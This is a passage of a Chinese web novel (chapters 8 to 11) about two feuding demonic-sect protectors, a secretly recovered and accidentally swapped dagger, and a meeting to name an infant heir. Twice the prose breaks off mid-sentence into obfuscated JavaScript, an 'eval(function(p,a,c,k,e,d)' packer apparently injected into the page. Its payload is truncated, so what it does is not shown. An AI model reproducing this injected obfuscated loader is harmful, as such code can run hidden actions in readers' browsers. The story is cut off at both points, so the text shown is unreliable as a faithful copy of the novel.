他很快反应过来,自家右护法平常似乎的确有一把时常佩戴在身上的匕首,那把剑多半被藏在袖中从不离身,季烬也几乎没拿出来过,右飞尘也只有在整理房间的时候,才偶然在季烬去洗澡时偶然见到他放在桌上。 右飞尘对它的印象深刻,主要还是他曾经也疑惑过,在他的印象中,右护法从来只用长剑不用短兵,匕首也完全不符合他们护法的战斗方式,更何况不管是遇上了多么凶险的战斗,那把匕首他也从来没主动拿出来用过,那么他为什么还时时把那东西带在身上? 现在听季烬问起,右飞尘竭力回想,终于想到了一种可能性:“右护法,我记得昨天你和小宗主修炼的时候,好像因为弄湿了衣服,所以去收拾了一下,有没有可能是在那时候,你把匕首放在偏殿的房间里了?” 季烬霎时没了声音。 他仔细地回忆着当时的情况,发现右飞尘的猜测很有可能是真的。 所以他的匕首,现在应该还在偏殿那个房间里。 季烬表情顿时变得复杂且凝重,他连忙说道:“不行,我必须尽快把匕首拿回来。” 右飞尘不大理解:“等等,可是就算是放在那里了,应该也没有什么关系,左护法应该不会进那个房间,更不会拿那些东西,我们可以等过几天交接的时候再……” “绝对不行。”季烬毫不犹豫地打断了他的话,神态比以往任何时候都要认真,“绝对不可以。” 绝不可以让玉渐月看到那柄匕首。 剩下的半句话季烬没有说出口。 8. 第八章 季烬的意思非常明确,那柄匕首绝对不能让玉渐月看见,更不能落到他的手里,所以他必须要立刻前往偏殿把它给找回来。 听他这么说,右飞尘也没怎么着急:“那我这就去通知……” 季烬看他转身,连忙脸色微变,拎着他的后脖颈把他给拦住了。 右飞尘疑惑道:“右护法?” 虽然魔宗里面身份等级并不森严,规矩也不算多,但左护法那边经常要处理不少事情,所以提前通知当然是很必要的,右飞尘不理解自家护法为什么要拦着自己。 季烬的神态始终带着点心虚般的奇怪,他迎着右飞尘疑惑的目光,片刻后终于还是说道:“不能通知玉渐月,我不是说了不能让他知道吗,通知他他问我,我该怎么说?你以为随便糊弄个理由,他真会就这么放我们进去?” 右飞尘算是有些理解了:“那右护法你的意思是……” 季烬神态变得认真严肃起来:“现在偏殿里应该只有玉渐月和左炎两个人,你替我引开他们,我潜入进去偷偷把东西带出来。” 右飞尘为这话震惊不已:“右护法,你真的要亲自过去?潜入?” 他确实没想到季烬会为了那柄匕首做到这种地步,不对,应该说是为了不让玉渐月知道这事,做到这种地步。 要知道他们右护法平常横行霸道不对,横冲直撞惯了,向来没有谁能驯得住他,只要是他想做的事情,根本不会在意任何人的脸色和意见,生平最讨厌的事情就是偷偷摸摸。 然而现在他居然为了一柄匕首,做出了这样的行为,这已经可以被列为近年来右护法最反常的行为之首了。 不过虽然好奇,右飞尘当然不敢多说什么,两人稍微准备了一下,就来到了右峰山门处。 看着满脸惊愕的右飞尘,季烬皱眉说道:“你在发什么愣,走啊。” 右飞尘赶紧眨眨眼,看着全身包裹在黑色夜行衣里,甚至连整张脸都被面具完全遮住的季烬,问道:“右护法,你真的打算就这么去吗?” 他都快要开始怀疑,那柄匕首里面是不是藏着自家护法什么见不得人的把柄。 季烬的声音从面具下面嗡嗡地传来:“别瞎废话了,对了,你也去换上夜行衣戴上面具,快去!” 右飞尘:“我也要?” 季烬气不打一处来:“你一直跟着我,你被发现了不就是我被发现了吗,那我还穿那么多费什么劲!” 右飞尘还没来得及说什么,已经被季烬推去换衣服了。 · 今日玉渐月到偏殿的时间本来就有些晚,后来右飞尘回来传信又稍微耗费了点时间,所以等季烬他们做好准备,穿着夜行衣抵达主峰,绕开外面的护卫抵达偏殿围墙外时,已经是夜幕降临的时分了。 季烬正尝试着要从后方翻墙,却被右飞尘一把拉住:“等等,右护法那边不能去!” 季烬:“怎么?” 右飞尘:“我在这边翻墙被左炎泼过水。” 季烬想了想,决定从另一侧走。 右飞尘:“我也在那个位置蹲过左炎,他肯定会多留意这里,估计也不太安全。” 季烬沉默了,他转身往另一个侧边走去,右飞尘连忙拉住他:“等等,那里也不行,那个洞被左炎封住了!你过去马上就会引起阵法反应,到时候所有人都知道有人闯入!” 季烬:“……” 他终于有些受不了了,停下脚步回头长长叹了口气:“你不如直接告诉我,还有哪里是可以去的?” 右飞尘的脸被面具遮挡,看不清里面的神情,但脑袋却是不停摇晃着:“没有,整个偏殿我到处都试过了,就没有哪里不被左炎发现的。” 季烬咬了咬牙:“你跟左炎的交流倒是不少嘛。” 右飞尘眼皮一跳,生怕被看出什么:“能有什么交流!我跟左炎那家伙没有什么好说的!” 季烬目光疑惑地看着他:“你们什么时候结仇的我怎么不知道?” 右飞尘汗珠都要掉下来了:“我们……” 还好季烬对他们两个的恩怨情仇并没有那么浓厚的兴趣,在短暂的思索过后,他往后退了两步,突然拿出了自己的随身佩剑。 右飞尘连忙小声问道:“右护法,你不是说要悄悄潜入吗,不能这样杀进去吧!” 季烬瞥了他一眼:“谁说我要杀进去了,我是要写阵法,既然这偏殿不管从哪里进去都会被发现,那就干脆自己开道阵法,把偏殿的阵法覆盖过去就好了。” 右飞尘知道阵法是右护法的强项,当即不再说话,退到旁边安静地等季烬完成阵术。 与此同时,玉渐月刚陪小宗主玩过扔火球游戏。 玉渐月不知道季烬这几天究竟是怎么跟小宗主过日子的,但显然小宗主已经爱上了这个觅食游戏,以至于这位才刚出生没多久的小婴儿,现在连放到嘴边的灵石都不肯吃了,必须要玉渐月用火焰术或者水球术,把灵气发射出去,他才会摇着摇篮飞快冲过去吃。 并且小宗主不知道究竟是什么体质,天赋异禀到令人咂舌,精力旺盛到让人害怕,玉渐月扔火球扔得手都酸了,他仍然眼睛闪闪发亮,一副没吃饱也没玩够的样子。 玉渐月都不知道过去了多久,才终于勉强把对方给哄睡过去。 再看天色,月亮已经挂上了檐角。 玉渐月觉得小宗主再这样成长下去,恐怕偏殿的位置就要不够他折腾了,之后大概得找人把这处偏殿重新扩建一番,再给他准备点能够消磨精力的东西才行。 这么想着,玉渐月感觉身体被汗浸透了大半,他忍不住蹙眉走出了屋子:“左炎。” 左炎正在旁边整理花草,听见玉渐月说话,他立即抬头起身:“左护法,怎么了?” 玉渐月看了看不远处的那段围墙,正要开口,却突然像是察觉到了什么,忽地停下了动作。 左炎跟着扭过头去:“是有人闯入?” 说完这话他又觉得不对,因为他没有感受到任何法力波动。 玉渐月若有所思,静了半晌后摇头说道:“没事,应该是我多想了,右峰除非是季烬亲自过来,不然没人能悄无声息潜入偏殿,但季烬绝不可能亲自过来。” 左炎不太明白,为什么玉渐月会说出“绝对”两个字,不过想想这两位每次见面时的腥风血雨,又觉得大概是因为他们彼此谁也不想见到对方。 玉渐月接着说道:“我去温泉,你看好偏殿,别让右峰的人闯进来。” 左炎顿时露出了预谋已久的笑容:“左护法放心,右飞尘绝对没命踏进这里。” 玉渐月狐疑地看着左炎的笑容,总觉得他和右飞尘之间的恩怨有点难以调解。 很快,玉渐月就到了温泉处。 随着湿润温热的水汽弥漫四周,玉渐月感觉精神似乎也跟着放松了不少,他褪去衣物,将其叠在温泉旁光滑的石块上,又将随身的物品也放置在旁,随之赤足走进了蒸腾着水汽的池子,随着他沉入池中,长发便也随着他的动作散开在清澈的水中,仿佛莲华般绽开。 照顾小宗主事实上并不是轻松的事情,玉渐月不知道他的来历,也不清楚他的种族,但很明显他才刚出生没多久,就已经拥有十分不俗的力量了。 玉渐月觉得到目前为止,他大概已经明白宗主留下密令,特地要他和季烬照顾小宗主是为什么了。 小宗主的来历应该相当特别,虽然现在是由他们照顾着,小宗主周围并没有出什么事,但等到小宗主再长大一点,或许他在没有学会如何控制力量之前,就会很容易伤到身边的人了。 也就只有他和季烬这种级别的实力,才能够控制得住这位小宗主。 玉渐月想着这些事情,慢慢地在池中闭上了眼睛。 随着他闭眼,瑰丽的银色光芒倏地在他眉心闪烁,勾勒出一道奇特的星痕纹路。 但那纹路只绽放了刹那,就迅速隐没,而玉渐月则因为痛楚,不禁紧蹙起眉头,抬手盖住了自己的眉心。 这痛楚又来了。 玉渐月无奈地想着,闭眼许久都没有动静,他早已经习惯了这种痛苦,所以此刻也并不觉得难受,他只是耐心地等待着这份痛楚过去。 · 另一边,季烬已经成功地带着右飞尘踏进了偏殿。 右飞尘有些兴奋地左右看着,即使已经穿过了那道围墙,依然仿佛还在为自己踏进这里而感到神奇。 季烬走在后面,看到他这副模样也有些看不下去了:“你到底在看什么,你不是昨天还住在这里面吗,今天怎么就跟没见过这里一样?” 右飞尘满脸感叹地说道:“可我还是第一次在交接时间以外踏进这里,感觉挺特别的。” 季烬:“……” 他理解不了右飞尘的心思,说话间他带着右飞尘来到了偏殿的院落处,左炎就坐在院子里那棵梨花树下,手里面端着茶捧着书,似乎正看得十分认真,暂时没有半点要离开的意思。 而他身形所正对的位置,就是季烬的房间。 看起来想进房间找东西,还得先把这家伙引开。 养兵千日用兵一时,季烬看了眼身边的右飞尘,抬抬下巴说道:“该你了,你去缠住那家伙。” 右飞尘立即点头:“好。” 他说着身形一动,倏地朝另一个方向蹿了出去。 毫无疑问,随着他的动静,原本正在看书的左炎立即起了身,戒备地皱眉问道:“谁?” 但右飞尘的动作极快,也没有回应他,他当即严肃着神色,朝着右飞尘消失的方向追了过去。 趁着这个机会,季烬毫不犹豫地闪身翻进了自己的房间,虽然他也不明白,自己回自己的房间为什么还要偷偷摸摸成这样,但现在也不是说这个的时候,他进屋后立即在自己平常可能放匕首的地方寻找起来,但奇怪的是,他找遍了所有可能的位置,都没有看到那匕首。 不光如此,即便他释放出灵气探索四周,也没有办法感受到那匕首的位置。 不在房间里?那会在哪里? 季烬不敢浪费时间,他知道很快左炎就会回来,左炎都不是最难缠的,要是让玉渐月发现他在这里,那才是真的完蛋了。 他脑袋里思绪飞转,不停地回忆着昨天发生的事情,试图想起什么蛛丝马迹。 他平常活动的范围并不算多,也就是自己的房间,还有中间那间主屋,那里本来应该是小宗主的房间,但因为婴孩离不开人照顾,所以小宗主其实也不住在那里,都是跟着他们一起住的。 还有玉渐月的房间,他在交接之前为了留信,也确实会进去一次。 难道是那会儿不小心掉在他房间里了? 趁着左炎还没回来,季烬在确认玉渐月不在房间中后, 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季烬赶紧趁着左炎回来前离开房间,接着身形跃至屋顶,飞快地翻到了后院的位置。 他所去的地方当然是温泉的位置,照顾小宗主并不轻松,他每天累过了之后都会去温泉洗去满身疲惫,现在想想那里应该是除了他房间之外,最有可能找到他那柄匕首的地方了。 不过季烬心里面同时也知道,玉渐月不在房间,也不在院子里,很大可能现在也在温泉的位置。 果然,当他趴在房顶上面,隐约看到竹影下方的石头上摆放着衣物时,他就知道自己猜对了,玉渐月果然就在这里。 而更让他一颗心差点漏跳半拍的是,他竟然真的找到了自己的那柄匕首,它就掉落在那排竹子下方,玉渐月放衣服的那个石块旁边。 竟然在那种地方。 季烬表情十分僵硬,现在的好消息是,那柄匕首是掉在阴影里的,玉渐月如果没有特别注意的话,刚才应该没有发现它的存在。 坏消息是,玉渐月现在就泡在池子里,距离那地方很近,以他的实力,季烬只要稍微靠近,就肯定会被他给发现。 自己就这么闯进玉渐月沐浴现场,玉渐月如果抓住他,问他到底想做什么,他真是连句狡辩的话都说不出来。 如果这件事再被人给宣扬出去,说右护法千辛万苦闯入主峰偏殿,就为了偷看左护法洗澡…… 这画面究竟有多可怕,季烬已经不敢再想下去了。 不行,绝对不能被发现。 可是那匕首如果被玉渐月给看见了,后果也是不堪设想。 季烬趴在屋顶上面,短短的时间里脑海中已经晃过了无数种念头,接着他很快反应过来,他现在是穿着夜行衣带着面具的,即便是被发现了踪迹,但只要没有暴露面容,就不用担心太多,就算有谁怀疑,只要他死不承认就谁都无法给他定罪。 想到这里,季烬终于开始了行动,他捻起法诀,很快召唤出了一只青绿色的鸟,接着那只鸟在他的操控之下,拍打着翅膀飞入竹林,并在轻轻鸣叫两声后,朝着另外一个方向飞了过去。 季烬的本意是想用幻术鸟引开玉渐月的注意,自己好趁机去捡回匕首,但令他意外的是,他放出去的鸟似乎并没能成功引起玉渐月的关注。 对方依旧趴在池边,湿润的长发披散在身后,半截飘在水中,整个人也在白雾中低头垂着眸子,仿佛入定般没有半点反应。 那家伙是看出问题了?还是真的没有注意到? 季烬表情有些古怪,盯着那边半晌没有移开视线,随即他干脆又捏出了一只幻术鸟,令其朝着玉渐月的方向飞了过去。 季烬的视线随着幻术鸟靠近玉渐月而逐渐变得清晰,他能够透过那只鸟的视线,看清楚面前的情景。 随即他注意到,玉渐月趴在水边闭着眼睛,呼吸均匀而悠长,竟然像是在累极之下睡了过去。 睡着了? 季烬并没有立刻放下心来,他知道那家伙心思深沉,向来十分难以对付,万一自己出去对方立刻睁开眼睛,自己就再也说不清了。 他于是耐心地在旁等待着,透过幻术鸟的视线专注地观察着玉渐月的睡颜。 对方闭上眼后,看起来和平常“魔宗大管家”的难缠模样完全不同,他原本就生了张相当出众的脸,轮廓柔和精致,此时此刻散去了所有气势,就顿时显得十分无害。 季烬看着这张脸,不知不觉有些出神。 他已经有多久没有这样毫无顾忌地看对方的脸了? 不对,现在不是说这个的时候。 季烬在心里嘲笑了自己一番,飞快醒过神,接着操纵那只幻术鸟去靠近对方,但玉渐月看起来依旧没什么反应,甚至连呼吸的节奏都没有半点变化。 看起来好像真的睡着了。 管不了那么多了,现在就是最好的机会,季烬放轻了动作,从屋顶上缓缓落下,他几乎将自己这些年的功力发挥到了极致,没有弄出半点动静,仿佛毫无重量的羽毛般飘然晃到了那放衣服的石块旁,小心捞起了属于自己的那柄匕首。 匕首重新回到手里的瞬间,季烬感觉仿佛心底的石头终于落了地。 他松了口气,飞快转身就要离开,但他才刚踏出一步,却忽地停了下来。 9. 第九章 季烬倏地停下了脚步,回头往温泉池子的方向看去。 虽然没被发现是好事,但他总感觉不大对劲,以玉渐月的警觉性,即使是真的睡着了,也不应该完全没有注意到他,可现在玉渐月别说发现他,从头到尾甚至就连动都没有动过,他今天究竟是怎么回事? 季烬越想越觉得奇怪,他在原地沉默地僵持了数秒,最后终于咬了咬牙,调转方向抬步朝着玉渐月的方向走去。 他走得仍然小心翼翼没有发出半点声音,脚步也不由自主地慢了下来。 温泉池水漫上来的水雾令他的视线有些模糊,玉渐月的身影轮廓却随着他的靠近而慢慢变得清晰。 明明只是几步的距离,季烬却觉得脚步异常沉重。 等到终于到了玉渐月的面前,他微微俯身,才发现不知道是因为池水的温度太高,还是别的原因,玉渐月的脸上泛着不正常的红,额头上也有着明显的细汗,眉头微微蹙着,像是在梦里也并不安宁。 到底是梦到什么了? 季烬心里莫名嘀咕起来,他紧盯着玉渐月的脸,连自己都没有意识到,自己正低头凑近对方,等到他恍然惊醒意识到自己做了什么,他才发现自己的手已经触碰到了对方的额头。 对方额头滚烫,烫得季烬几乎被灼伤般迅速收回了动作。 他在干什么,他疯了吗跑来看玉渐月?还是正在洗澡的玉渐月! 季烬满脑子都是被雷劈般的错愕,而还没等他从这情绪中回过神,他就看见玉渐月的眼睫轻轻颤抖,似乎就要睁开眼睛。 坏了,真要被抓住他就算有一百张嘴也说不清了。 季烬心中警铃大作,不敢有半点耽误,几乎是有些狼狈地冲向房顶,双腿快得都跑出了残影,很快就离开了偏殿的位置。 而与此同时,玉渐月抬手揉着眉心,终于捱过了这绵长的痛楚。 他自浑噩中醒来,睁眼的同时却忍不住心里微有些奇怪,他总感觉眉心的地方有些异样,那里刚才明明刺痛难忍,现在却微微发凉,似乎被什么触碰过一般。 睁开双眼,他朝着四周看去,却没有看到任何旁人存在,也没有察觉到别的异样。 是错觉吗? 不对,他今天产生这种错觉的概率是不是太高了,还是说因为身体不适,连带着连感知能力也变弱了? 玉渐月稍微感受了一下自己身体的状况,确认已经没什么大碍后,他缓缓自池中起身,简单披上了衣服,不过就在他打算继续整理的时候,他突然动作一顿,看向了石块旁边的某个位置。 很快,玉渐月从温泉的方向走出来,重新回到了前院。 前院里左炎微皱着眉头,正在疑惑地看着前方不远处的围墙。 玉渐月也没有心思问他究竟在看什么,脚步不停地就朝着自己的房间走了过去,他在房间里面仔细翻找了许久,终于引起了左炎的注意,左炎连忙过来隔着窗户问道:“左护法,发生什么事了?您在找东西吗?” 玉渐月回过头,他的长发仍然是湿漉漉的,似乎来不及打理,衣服也穿得随意,除了照顾小宗主时被闹腾得太厉害的时候,左炎还从没见他这般不顾形象过。 听见左炎的问话,玉渐月怔了怔仿佛才想起来,说道:“我随身的东西不见了,是一柄匕首,你……” 左炎没有太过惊讶,他立即低头,从怀里取出了一物:“是这柄匕首吗?” 他的手里正握着一柄匕首,黑色的匕首鞘身上刻满了黑色的特殊文字,古朴陈旧却带着莫名的肃杀寒意。 玉渐月看到那匕首,瞬间终于像是从紧绷的精神状态中松懈下来,他迟缓地眨了眨眼,点头应道:“对,就是这柄匕首。” 他伸手自左炎的手中接过匕首,凹凸不平的匕首鞘身摩挲过指尖,玉渐月感受着熟悉的触觉,终于闭上眼睛将其抱在怀里,低声说道:“谢谢。” 左炎没有立即出声。 他看得出这东西对玉渐月来说很重要,其实这也已经不是左炎第一次看到它了,从最开始跟着玉渐月时,他就知道玉渐月时刻会将匕首带在身上,但奇怪的是他永远只将匕首藏在袖中贴身位置,却从来没有在任何一场战斗中用过,仿佛那东西只是一种纪念,一种护身符般的存在。 左炎早猜到这东西对玉渐越意义非凡,但却也没想到这重要程度比他想象的还要多。 就在左炎思索之际,玉渐月已经把匕首妥善收好,他神情已经恢复如常,这时候才终于问道:“你是在哪里找到这柄匕首的?” 左炎应道:“就在院子里的花盆旁边,先前我收拾东西的时候就看到了。” 玉渐月若有所思道:“花盆?” 左炎点点头,见玉渐月似乎有些意外,便抬手朝着不远处某个位置指去:“就在那里。” 玉渐月隔着窗户,循着左炎的位置看去,才发现那花盆的位置是在他房间的正对面,也就是季烬的房间旁边,可是那个位置,从他这次轮换到现在,根本没有去过。 即便今天他身体状况不佳,他也相信自己的记忆没有出现任何混乱,他的确没去过那里。 他的匕首平常从不离身,也从来没掉过,怎么会凭空出现在那个位置? 玉渐月盯着那座花盆,突然间心里产生了一种十分荒谬的猜想。 他忽然低头把收好的匕首重新拿了出来,这匕首跟在他身边太久,对他来说连每个凹槽,每个纹路,都已经熟悉到连闭上双眼都能够反复描摹出来。 他专注地看着这柄无比熟悉的匕首,突然抬手按住了剑柄。 左炎看到这幕,眼皮不禁跳了一下,心里面瞬间感到惊异。 他从来没见玉渐月抽出过这柄匕首,他甚至以为这柄匕首可能永远都不会有被拔出来的一天,可现在他们左护法就这么毫无预兆地做出了这样的动作。 不过这是为什么?有敌人潜入进来?还是发生了什么他不知道的事? 左炎脑海里钻出无数的念头,顿时也跟着戒备了起来。 随着玉渐月的动作,那柄被关在鞘中无数年的匕首就这样被慢慢抽出,而令左炎意外的是,那匕首的锋刃并不似普通的锋刃,它的剑身非常亮,它明明已经许久没出过鞘,平常也没见玉渐月打磨,但它却依然锋利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的目光凝注在小宗主粉雕玉琢的睡颜上,脑中的思绪却慢慢变得清晰。 这柄匕首,不是他的匕首。 正如他刚才向左炎说的,他的匕首剑脊不是蓝色,而是赤红色的,而非常巧的是,曾经有另一个人也有一柄和这把模样相同的匕首。 季烬。 他现在手里的这柄匕首是季烬的,可为什么原本属于他的匕首,会换成了季烬的匕首? 玉渐月差不多已经猜到了,因为季烬的那柄匕首弄丢了,他应该就是丢在这座偏殿里的,但偏偏阴差阳错,他丢的匕首被左炎给捡到了,左炎以为这是自己的匕首,就将其还给了自己。 那么自己原本的匕首去了哪里? 应该是被季烬给带走了,难怪他今晚总觉得偏殿不对劲,看来季烬是亲自来过这里了,并且好巧不巧认错了匕首,拿走了自己的那把。 这样的话,一切就都能说得通了。 玉渐月从前根本没想过,季烬竟然还带着那柄匕首在身上。 他究竟是怀着什么样的心思带着匕首? 是因为舍不得过去?没有考虑太多?还是只是单纯觉得兵器趁手而已? 不过这些现在似乎都不重要了,他没有办法确认季烬的心思,却能够确认另一件事情,那就是他绝对不能让季烬知道,他拿走的不是自己原本的匕首,而是他的那柄。 得想个办法,在季烬知道拿错之前,先把匕首给调换回来。 10. 第十章 另一边,季烬回到右峰的时候,已经是深夜时分了,他喘着气坐在院中石凳上,感觉自己结结实实死里逃生了一回,过了好久才想起来问身边的右飞尘:“你怎么样?没被发现吧?” 右飞尘看着比季烬好不到哪去,他摆摆手,喝了口茶水才说道:“差点就被发现了,右护法你再晚上一会儿,我就被左炎给抓住了。” 为了替自家护法吸引左炎注意力,还要兼顾不被发现身份,右飞尘今晚可以说也是拼尽了全力。 两人对视片刻,都有种劫后余生的感觉。 虽然他们也不知道这到底算什么劫。 不过事情总算是办妥了,右飞尘询问季烬情况,季烬笑了一声,从袖中抽出了那柄匕首:“成功找回来了,不过我也没想到会掉在温泉附近,差点就被玉渐月发现了。” 说完这话,他突然又想到什么,从怀里掏出了一件东西递给右飞尘:“你帮我做件事。” 右飞尘疑惑地接过了季烬递过来的东西,发现那竟然是一颗丹药,他凑上去嗅了嗅:“好奇怪的味道,不是我熟悉的药材,这是什么丹药?” 季烬瞥着他:“我就是不知道才让你帮忙,你明天去趟药阁,找个会保密的,替我问清楚这丹药是治什么的。” 右飞尘还想问这是哪来的,但想起他们刚才去了哪里,立刻就明白了过来。 他连忙点头不敢多问,因为在右护法的面前问左护法的事情,是非常危险的行为。 就这样,次日右飞尘一早就去了药阁。 不过他找来了药阁资历最高的药师,对方见了这药也依然有些弄不明白,说是需要一些时间去研究,等三日过后才能给个答案。 右飞尘就这样又回到了右峰,但在他回到右峰山门的时候,他却发现有个意料之外的身影已经等在了那里。 见到对方的瞬间,右飞尘几乎是惊得后退了半步。 看他这副模样,等待许久的左炎轻笑一声,问道:“你躲我做什么?” 右飞尘左右看看,不太确定左炎现在是在用什么身份和自己说话,究竟是恋人还是敌人。 不过左炎接下来的话让他很快明白了过来,因为左炎问的是:“右护法在里面吗?” 是来谈公事的? 右飞尘狐疑地点了点头,接着不放心问道:“你来找我们护法?有什么事吗?” 左炎:“左护法要我来传达一个消息。” 右飞尘连忙问道:“什么消息?” · “什么?”右峰小院里,季烬听到右飞尘的传话后,几乎是立即喷出嘴里的茶水,拍桌站了起来,“他邀请我去偏殿见面?!” 右飞尘点点头,表情也很迷茫:“他确实是这么说的。” 季烬来回走了两步,表情满是戒备和紧张:“那家伙到底是什么意思,找我去是想干什么?他知道我昨天偷偷潜入偏殿了,现在想来试探我?想把我骗过去,用阵法对付我?还是故意假装向我示好,实则想趁我不备把我给千刀万剐?” 右飞尘眼看着他越猜越离谱,连忙说道:“左炎说的是,左护法认为小宗主出生已经快一个月了,到现在还没有名字,而宗主也不知道究竟什么时候能回来,他希望你能够过去,和他一起商量为小宗主起名的事情。” 这确实是个听起来很正常的理由。 但季烬回头看向右飞尘:“这么正常的理由你信吗?” 右飞尘满脸无辜,连忙抬手:“我不知道啊。” 他完全不敢掺和进这两位的斗争当中。 季烬表情霎时变得更加复杂:“不对,肯定不对劲,玉渐月不是那么简单的家伙,他肯定有别的目的。” 说是这么说,但季烬却也暂时想不到更好的理由拒绝这次邀请,于是在当天下午,季烬终于揣着一颗沉重的心,带着右飞尘再次踏上了主峰。 季烬出现在主峰山门处的时候,看守的弟子们脸上明显都出现了慌张和疑惑。 他们先是揉了揉眼睛,接着往左右看了看,和身边的其他人小声交流了一阵才仿佛确认了什么,其中一个人连忙走上前小心翼翼地说道:“右护法,今天好像还没有到交接的日子,左护法还在山上呢,您……” 季烬听到这里都忍不住气笑了,好像整个魔宗都知道他和玉渐月不能见面,每次只要两人有机会撞上,其他人都会拼命阻止。 要不是玉渐月主动邀请,他也不会来这里。 季烬摇了摇头,对那名守卫说道:“我知道他在山上。” 守卫明显愣住,连忙又说:“那您现在来这里,是……” 季烬冷哼:“玉渐月那家伙碰上处理不了的事情,想请教我才把我叫过来,有问题吗?” 守卫慌慌张张点头,连忙把位置让了出来。 虽然他们没再说话,但季烬却能够感觉得到,短短一小会儿的工夫,在他去往偏殿的路上,周围见到的人的情绪明显都变得紧张起来。 看来只是这一会儿,他来到偏殿的事情就已经传得到处都是了。 他真有那么吓人吗? 季烬满腹狐疑,他揣着这样的心思来到偏殿门前,还没进门就见左炎推门走了出来,冲着他们微笑招呼道:“右护法您来了,我们护法已经等您很久了。” 他说着视线又轻巧地带过了后方的右飞尘。 右飞尘缩在后面隐晦地和他对视了一眼,眼里满是疑惑,试图问出什么情况,可惜左炎只瞬间就移开了目光。 季烬也不扭捏,反正伸头缩头都是一刀,他倒要看看玉渐月究竟要耍什么把戏,他又没有做什么亏心事,总不能显得自己比对方心虚。 嗯……偷偷潜入温泉,不小心看到了玉渐月洗澡,应该不算什么亏心事,他又不是故意的。 他点了点头,抬步走进了偏殿:“玉渐月在哪?” 左炎道:“左护法就在小宗主的房间里等您。” 季烬一路走过去,路上也没管其他人,很快就大大咧咧地撞开主屋的门走了进去:“玉渐月,这么着急找我过来,真就只是为了给小宗主起名字?你到底打算干什么要不直说了吧?” 玉渐月的确就坐在房间里,他此刻正抱着小宗主在怀里,小宗主乖巧地趴在他身上,正认真地吮着手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他抱着小宗主,面对季烬进门后的提问,也没有立即回答,只是将视线仔细地扫过季烬的领口,胸腹,以及领口,衣袍下摆的靴子处,试图找到季烬藏匿匕首的地方。 既然季烬的匕首先前会掉落,那就代表他肯定也是随身带在身上的,以他的习惯,会把匕首藏在哪个位置呢? 玉渐月的行为实在是过于奇怪,以至于季烬都忍不住脸色僵硬,略微后退了半步。 季烬不明白这是什么意思,为什么自己从进门起,对面那家伙就在用审视的目光从头到尾打量他? 看看他身上的弱点在哪里?看怎么好下手?还是说玉渐月昨天看到他的背影了,现在是在对比身形? 季烬被看得浑身发毛,忍不住轻咳了一声,强装镇定地在玉渐月面前坐下,敲了敲桌子说道:“你哑巴了吗,找我过来不说话,难不成是故意找茬的?” 玉渐月眨了眨眼,凭着刚才季烬的动作,大致做了判断。 他的胸口腰腹没有因为兵刃而鼓起的痕迹,应该可以排除了,那么剩下的应该就是袖口,还有大腿,靴筒,这几个位置最容易藏匕首。 会是哪个位置? 与其继续猜测,不如直接上手试试。 玉渐月想到这里站了起来,朝着季烬的方向步步逼近。 11.十一章 季烬看着走过来的玉渐月,瞬间精神紧绷,连手指都不自觉地抓紧了面前的桌沿。 这家伙到底打的什么主意,到底打算找他过来干什么? 在季烬狐疑的视线中,玉渐月抱着小宗主俯身,对坐在椅子里的季烬说道:“小宗主看起来很想你,你不想抱抱他吗?” 季烬听着这话有些怔住。 铺垫了半天,就这样?就为了说这句? 他还是没有轻易相信玉渐月,但小宗主就就这么被怼到他的眼前,而且这小家伙现在唧唧哇哇地叫着,漆黑的眼睛里满是笑意,却看得季烬到底是没狠下心。 他犹犹豫豫地伸出手,动作熟练地把小孩接了过来。 毕竟都已经交接照顾过好几次了,季烬现在也已经学会怎么抱小婴儿了。 不过让他有些错愕的是,玉渐月在将小宗主递到他怀里的时候,似乎是担心摔到孩子,所以动作尤其地小心,俯身俯得特别低,就连季烬已经将孩子接过之后,他仍然没有松手,而是依旧保持着弯腰靠向季烬的姿势。 两人相隔得实在太近,近到对方的发丝都已经垂落在了季烬的肩头和脖颈。 细软的头发在季烬脖颈处轻轻扫动,还带着玉渐月身上独有的浅淡香味,季烬分辨不出那是什么味道,也不是只觉得熟悉无比,其中还多了一味药香。 如此距离,季烬仿佛都在这瞬间听到了两重交叠的心跳声。 短暂的错愕之下,季烬几乎是本能地想要推开对方,但奈何他两只手都抱着小宗主,现在竟然没有余暇去隔开与对方的距离,于是也不知道究竟怎么回事,玉渐月在起身的时候,就这么突然扣住了他的手腕。 季烬瞬间仿若被雷电击中:“你!” 然而他话才刚出口,对方已经迅速地将手给收了回去,并回以了一道不解的目光:“我怎么了?” 他语气平淡如常,仿佛刚才什么都没有发生,只是他起身的时候不小心碰到了季烬而已。 玉渐月如此理直气壮毫不在意,倒让季烬有些说不出质问的话来了。 他能问什么,问玉渐月刚才为什么突然碰他的手腕? 两个人针锋相对这么久,突然问出这种仿佛怕自己被占了便宜般的问题,只会让人笑掉大牙。 可是他总觉得刚才玉渐月的动作,仿佛的确是有意为之。 季烬没有出声,但眼中的疑惑却变得越来越浓。 而在他的对面,玉渐月现在心情实则也并不平静。 刚才他已经假装不经意,探过了季烬的袖口,季烬的惯用手是右手,但那袖口里却没有匕首,玉渐月记得以前的季烬都是把匕首藏在袖中的,现在没有是因为他上次弄丢了匕首,所以这次改换了地方? 那么剩下两个可以藏匕首的位置,就是大腿处和靴筒里了。 可是接着还要怎么去试探呢,刚才他的举动,季烬虽然没当场质问,但明显也已经产生了怀疑。 玉渐月想了想,先行坐回了自己的位置,抬手倒起了茶。 他边倒茶边开口说道:“对了,你既然主动过来了,先说说你的意思吧,小宗主的名字本来应该由宗主来定的,但他都已经失踪这么久了,再说宗主本身就不太可靠,上次失踪直接就是几年没出现,我们总不能一直等着他,让小宗主没有名字吧?” 季烬听着这话皱起眉,他低头看看怀中的小宗主,的确觉得有几分苦恼:“可是这是宗主的孩子,宗主只要还活着,我们两个有什么立场给他起名字?难不成他跟你还有什么别的关系?” 最后半句话季烬原本没想说,但不知道为什么就脱口说了出来。 玉渐月倒茶的动作停顿在了当下,似笑非笑地朝季烬问道:“什么关系?你觉得我和小宗主,还有宗主,究竟是什么关系?” 他这话问出口,别说是对面的季烬了,就连周围的人们也都有了明显的表情变化。 这下好了,他们最害怕的问题出现了。 终于是提到宗主了。 